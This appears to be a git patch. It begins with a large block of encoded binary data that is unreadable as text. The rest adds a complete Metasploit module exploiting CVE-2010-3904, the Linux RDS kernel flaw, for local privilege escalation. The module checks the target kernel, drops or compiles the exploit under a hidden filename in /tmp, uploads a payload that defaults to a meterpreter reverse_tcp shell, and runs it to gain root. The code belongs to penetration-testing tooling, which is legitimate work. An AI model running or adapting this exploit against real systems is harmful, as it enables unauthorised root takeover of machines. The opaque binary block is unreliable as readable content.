z$j=M>M(B_3f6c%jKzYf`kL?9q-;a@>D}W2=3;rd)hk@(oX)buF-*dtr3*k;Q;;%ux z?vE`0Cg6KK7(*dv;{OGFPPekxnEy|KcU$`NoxnF)@VkLug!XeA`9BC;_h;t!IPed@ zXO0)o0oU^v^M3=leqKZTW8i+!Uy1yPr$C=ZBmYrG{$qgac;-I=_!9>ZiNghpc{J)< z+Nbd>F%9wEIH7{Felr1U`;+-E0e%|>qgh6L6#As~pZQlKzUPoR9@GNY`px(N@XS?w z*-PcW1-Kr68UI8EWCPurY{Zint3B|az_tBM`dfi({Ud)nfWHZSpvW2j0B~)eGX81c z4_Wwo9k||nhWhe0aNU2I{&Dbg;1=ayBmNQM-$9+vF!E1De|W*tzAoSuP_8;7ei(4^ znv#bckAP#DLisKP^W&m{Lt$TBWzd%bKY-4p=ZodQ^?XD6)xf`D86STDJ=Ehn>sN#L z=Pmp+0dM~i=46aVOn(9JVzjpd<w0p=o5!P;@<=Q zM>Ia4s}ZNIsq063=XXqhi4cEA0gV3x@Lu%y(~R`HfIs^msI!4T1ze9mu(BndMU^Eh$~+6o7B5{10(`%vKT!|2@H0g} zK4`*cX8}(GK3T*ktabQ!JLK_3I*jii!@j!w*@d$U1tUC7bsfZJih6wa?DNz`T3R*< zEZTz)dJ#T{A0tV2%J4xNxlx5{%q*ogUP`boBx}Jh$M}U5zMgKuib4pJnHS1W%7C@v zv&vc@0DQKI^>J!N4Zi2Zr7?`}hH-83`|zQ2U0pB^BLZ*`Ux(KR11$hUK7UBQIU4ftLjU%Cr?^~w(*TakbP^{t|#uBm~`8>s~NmMsY8 z!uWUoHa|rOg?jlENYfaJ9D-Sm%lS*>`Z1nbEb-wX=lztW%0G3pLJEA zYqElGWduyDy);jG!BEfg0VKA;T;C}Ih8@KW1Ig;9V% zV#L+9w5q^n*(`|l$AkRwFf%O(Kp$=ow0k!}hlBWs?sHuP1bg^hFh7d))XH3IYg-XU zMMGq3xG{*P#`*{ihIZ%>v{o20sP&O2v~fggrN?7@jx96hr|F(>Gu5B%+f*w*R%eJ{ zACdsS#D{`N7^%7B6giVi8_0A)gaybyu1$6PMIRBKvJT0h{0N$jL0VjV9jzEcYSp*V zt%U`l{24RQglHgx2%i~aag0zSSgvInqwYc3Eg+Oy^kdm!@iD&-9jY13fDTe>;_@0s z2v&xG@Cs+mm?df>K>{=IA$lEwne38*T2Fm@9ctOkaX^0CtU`mnHi6E=wIYzgjG|Lj zIshD->RaWo(;Kx_fL}~-An}`yw52Bg`TD)~wd4PSj1q*uc67(4Wd%g^* zfljrv3Xp*>h;Pa{iiLgoGfqWkYN-jakr3OCA+MzdKx-g`kLE+I-ge5gwh@b=S;M^H zaL`kS#t#NI9ZM}^jNB}l$Y6{!_08S}YQk}%P_H^)y%!&|{@r*(`#{+g!nf4;b{(V; zSe-F60mMh9K3#~??)s)?%Esftr@uj{M7u<|xIlnYixeD$EODy2B|7Bu8J$DMwg;gN zIvRtX#|(gU!=_rhx9Q+Z~7V?|@-LLZD*Ws$86Of%7fYE<-hl2=J ze^bp@EBs!6Ak^&hv6Wk!T75HcgDw;11lV;O~2ixyRtt?{fWSx{ca>01skicF`(x8M2b z+n!deSkQ>&UGi%?K&WPKJuxD{==bVFb9@4g5B$*~_52C~<3o2;A=DC?%M^09F;Hf~Dc8`N`VMLwYZ(7uSDBaX}h5y$YLqGStuJdN$ONUf9s)J6>eVO1J7ImaYgWUALl z{RU;%Bhg&P`9q2hiv+~GYTQUe>aR33BrFp|l&meo zn~rEkvbsd|(oKb=oZgY08m47AY;*KGX*D56sQ@k0uc$~379x?;CdtrUii$jjeJ*dG zbmCB`mCeMZTM>kz1Ph@_{l>}{QpJzo90q4?LfTRq@nC7dZ?!|4gpDP znD(zU1aSKSxVgrU`>{Y>GrP35shCPykN^ym#TYV7tuzgRs6CoC@kooL8-em20P4hsJ!$IXb*tCCs4W!WfA$9Ik-AgKATEj8#Tm*#YBGHCO;<^dBv?| zeh@c>2ow3T6X%Dq=9I{%m4~Q+Z2Wv5*1DsMM&wIZ3({iH4B-ORkm-W~nV+|%2}>F` zpwIFrzqJ{F$^l&riJ==l+dSc-A;488|M|XGg!?Se)rNN%y&NR^Un>9o%w~4sJ^Ml^4TE z$8S)0(oe1r(()+8iN_a`j^C#6Jm0`^k@>+*Y<%j<&+XJRLq0cz`!0Uy{NR3-e30${ z0(ln4snoMU)`MY8LpnE@5aVDScr3!H>FBHH3Ab$gU>uKfoP?2$;5RWmpRh3K zMmUc(I5i!=mErj;6B!42+h%0tunfN45@J5v02=$b8bd}n0| z=yV>;P{W%5Qzk5z@A{O3?iK^bCEgyF0oLX68=bd7mrVlWV17L5Th?^q0FXV(pAASJ znr=HVP3Jx!gd22sC=&VWHsG6Zr9P0q0|y{u(ACkQZyavpipMxIzXAg%ouxTs9Lu}a zpfkwCE1=t=5lh@%7MRiJ?!_0hQwgbqdGUAvr-q5|`vUI>kYVG{aZdu*Fr!LSY+}!G z=w3AFbUm^&Z6ao=FZ1B}SL2F{JU$;`6VKt 'Reliable Datagram Sockets (RDS) Privilege Escalation', + 'Description' => %q{ + This module exploits a vulnerability in the rds_page_copy_user function + in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8 + to execute code as root (CVE-2010-3904). + + This module has been tested successfully on Fedora 13 (i686) with + kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64) + with kernel version 2.6.32-21-generic. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Dan Rosenberg', # Discovery and C exploit + 'Brendan Coles' # Metasploit + ], + 'DisclosureDate' => 'Oct 20 2010', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => + [ + [ 'AKA', 'rds-fail.c' ], + [ 'EDB', '15285' ], + [ 'CVE', '2010-3904' ], + [ 'BID', '44219' ], + [ 'URL', 'https://securitytracker.com/id?1024613' ], + [ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=799c10559d60f159ab2232203f222f18fa3c4a5f' ], + [ 'URL', 'http://vulnfactory.org/exploits/rds-fail.c' ], + [ 'URL', 'http://web.archive.org/web/20101020044047/http://www.vsecurity.com/resources/advisory/20101019-1/' ], + [ 'URL', 'http://web.archive.org/web/20101020044048/http://www.vsecurity.com/download/tools/linux-rds-exploit.c' ], + ], + 'DefaultOptions' => + { + 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp', + 'WfsDelay' => 10, + 'PrependFork' => true + }, + 'DefaultTarget' => 0)) + register_options [ + OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + ] + end + + def base_dir + datastore['WritableDir'].to_s + end + + def modules_disabled? + modules_disabled = cmd_exec('cat /proc/sys/kernel/modules_disabled').to_s.strip + (modules_disabled.eql?('1') || modules_disabled.eql?('2')) + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def upload_and_chmodx(path, data) + upload path, data + cmd_exec "chmod +x '#{path}'" + end + + def upload_and_compile(path, data) + upload "#{path}.c", data + output = cmd_exec "gcc -o #{path} #{path}.c" + + unless output.blank? + print_error output + fail_with Failure::Unknown, "#{path}.c failed to compile" + end + + cmd_exec "chmod +x #{path}" + register_file_for_cleanup path + end + + def exploit_data(file) + path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2010-3904', file + fd = ::File.open path, 'rb' + data = fd.read fd.stat.size + fd.close + data + end + + def live_compile? + return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') + + if has_gcc? + vprint_good 'gcc is installed' + return true + end + + unless datastore['COMPILE'].eql? 'Auto' + fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' + end + end + + def check + version = kernel_release + unless version.start_with? '2.6.3' + vprint_error "Linux kernel version #{version} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Linux kernel version #{version} appears to be vulnerable" + + unless cmd_exec('/sbin/modinfo rds').to_s.include? 'Reliable Datagram Sockets' + vprint_error 'RDS kernel module is not available' + return CheckCode::Safe + end + vprint_good 'RDS kernel module is available' + + if modules_disabled? + unless cmd_exec('/sbin/lsmod').to_s.include? 'rds' + vprint_error 'RDS kernel module is not loadable' + return CheckCode::Safe + end + end + vprint_good 'RDS kernel module is loadable' + + CheckCode::Appears + end + + def exploit + if check != CheckCode::Appears + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + # Upload exploit executable + executable_name = ".#{rand_text_alphanumeric rand(5..10)}" + executable_path = "#{base_dir}/#{executable_name}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile executable_path, exploit_data('rds-fail.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + arch = kernel_hardware + if arch.include? 'x86_64' + upload_and_chmodx executable_path, exploit_data('rds-fail.x64') + else + upload_and_chmodx executable_path, exploit_data('rds-fail.x86') + end + end + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + + # Launch exploit + print_status 'Launching exploit...' + output = cmd_exec "#{executable_path} #{payload_path}" + output.each_line { |line| vprint_status line.chomp } + end +end